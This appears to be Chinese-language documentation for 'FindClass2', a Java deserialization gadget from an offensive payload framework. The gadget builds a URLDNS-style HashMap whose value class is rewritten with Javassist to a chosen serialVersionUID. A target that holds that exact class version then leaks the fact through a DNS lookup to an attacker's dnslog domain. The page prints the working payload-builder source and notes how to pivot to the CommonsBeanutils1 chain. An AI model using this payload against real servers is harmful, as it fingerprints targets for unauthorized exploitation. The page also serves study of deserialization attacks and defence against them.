Skip to content

Latest commit

 

History

History
75 lines (67 loc) · 5.21 KB

File metadata and controls

75 lines (67 loc) · 5.21 KB

DNSLog探测类2-指定suid(FindClass2)

  • 类别:javanative 别名:— 优先级:20
  • 作者:Ar3h
  • 依赖:无(JDK URL/HashMap + Javassist 改写 serialVersionUID

作用

FindClass 的「精确版」:构造 HashMap<URL, Class>,但 value 类被 Javassist 改写为指定 serialVersionUID 的同名类。反序列化时目标不仅要存在该类,且其 serialVersionUID 必须与投递的 suid 相等,才会通过 ObjectStreamClass 校验、继续算 key 哈希并触发 DNS。以此把「类是否存在」升级为「类是否为某个精确版本」的探测。

链接标签

  • 入口 tagsJavaNativeDeserializeEND —— 承接 Java 原生反序列化入口,自身即链尾。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

invoke → getObject 生成单个探测 payload:

public Object getObject() throws Exception {
    String url = "http://" + this.domain;
    return this.getHashMapPayload(url, this.className, this.suid);
}

getHashMapPayload 与 FindClass 的 URLDNS 手法一致(置 0 再复位 -1 避免本机出网),差别在 value 类由带 suid 的版本生成:

public HashMap getHashMapPayload(String urls, String clazzName, String suid) {
    HashMap<URL, Class> hashMap = new HashMap<>();
    URL url = new URL(urls);
    Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
    f.setAccessible(true);
    f.set(url, 0);                              // put 时不触发 DNS
    Class clazz = this.getClass(clazzName, suid);
    hashMap.put(url, clazz);
    f.set(url, -1);                             // 复位,目标反序列化时重算 hashCode → DNS
    return hashMap;
}

核心是用 Javassist 把目标类改成指定 suid 后 defineClass

public static Class<?> getClazzWithSuid(String clazzName, String suid) {
    CtClass ctClass = classPool.getOrNull(clazzName);
    if (ctClass == null)        ctClass = classPool.makeClass(clazzName);  // 本地没有就造空类
    else if (ctClass.isFrozen()) ctClass.defrost();
    try { ctClass.removeField(ctClass.getDeclaredField("serialVersionUID")); } catch (NotFoundException e) {}
    ctClass.addField(CtField.make(
        String.format("private static final long serialVersionUID = %s;", suid), ctClass));  // 写入指定 suid
    byte[] byteCode = ctClass.toBytecode();
    return new TemporaryClassLoader().defineClass(clazzName, byteCode);   // 用临时 ClassLoader 载入
}
  • suid 即条件:序列化一个 Class 对象时,写出的类描述(ObjectStreamClass)包含该类的 serialVersionUID。目标反序列化读到这个 value 时,会用本地同名类做兼容性校验:若本地 suid 与流中 suid 不一致,抛 InvalidClassException,entry 的 putVal 不执行,DNS 不发出。因此「收到 DNS」== 「目标存在该类且 suid 恰等于投递值」,从而精确锁定版本(不同版本库的同名类往往 suid 不同)。
  • 与 FindClass 只判断「类是否存在」相比,这里叠加了 suid 精确匹配,误报更少、可定位到具体依赖版本(如 CommonsBeanutils 1.9.4 的 BeanComparator suid = -2044202215314119608L)。
  • getClassMD5(className+suid) 做缓存 key,避免重复生成;生成后还会反射读回 serialVersionUID 打印,便于本地核对。
  • TemporaryClassLoader 是内部类,仅暴露 defineClass(name, byteCode),用一次性 ClassLoader 载入改写后的字节码,避免污染攻击机的类空间。
  • 注:类头 extends "ClassLoader" 元数据实际指内部辅助类 TemporaryClassLoader extends ClassLoaderFindClass2 本身只 implements Gadget

参数(@Param)

字段 名称 说明 默认 可选值
domain 探测成功后访问的dnslog域名 外带 DNSLog 域名,如 xxx.dnslog.cn xxx.dnslog.cn
className 需要探测的类名 目标类全限定名 org.apache.commons.beanutils.BeanComparator
suid 设置类的suid 期望匹配的 serialVersionUID(示例:CommonsBeanutils 1.9.4 的 BeanComparator-2044202215314119608L -2044202215314119608L

适用版本与原理要点

  • 无第三方依赖,Javassist 仅用于攻击机侧改写字节码。
  • 用于精确探测目标类的版本:同名类不同版本 suid 常不同,借 InvalidClassException 的「suid 不匹配即失败」筛选出精确命中的版本。
  • 只需探测类是否存在(不关心版本)时用更省事的 FindClass
  • 依赖目标能对外 DNS;被 RASP/黑名单拦截或类走非默认 ClassLoader 时可能影响结果。

所属预设链

  • 自由构件,未直接出现在预设链(usedInChains 为空)。作为独立精确探测 sink,直接由 Java 原生反序列化入口投递。

关联

  • 同族基础版:FindClass(只探测类是否存在,支持内置字典/批量)。
  • 时间侧信道精确版:FindClassByBomb2(无出网时用耗时 + suid 精确探测)。
  • 探到精确版本后转入对应利用链(如命中 BeanComparator 1.9.4CommonsBeanutils1)。